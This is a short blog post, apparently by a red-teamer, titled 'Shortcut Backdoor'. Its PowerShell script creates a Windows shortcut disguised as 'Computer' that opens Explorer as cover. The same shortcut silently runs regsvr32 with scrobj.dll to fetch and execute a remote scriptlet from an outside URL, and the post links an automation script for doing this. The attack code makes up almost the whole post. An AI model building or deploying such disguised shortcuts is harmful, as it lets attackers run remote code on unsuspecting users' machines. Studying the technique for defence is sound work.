Shortcut Backdoor

PS code:

1
2
3
4
5
6
7
8
$file = Get-Content "C:\Users\evi1cg\Desktop\backdoor\link\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\evi1cg\Desktop\backdoor\link\计算机.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()

test.txt:

1
/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | regsvr32.exe /u /s /i:https://evi1cg.github.io/scripts/calc.png scrobj.dll

DEMO:

1.gif

写了一个自动化的脚本,地址如下:

https://gist.github.com/Ridter/a360f94d8ac9a8c30227e3812dfbb329

DEMO:

LNKBDdemo.gif

------本文结束,感谢阅读------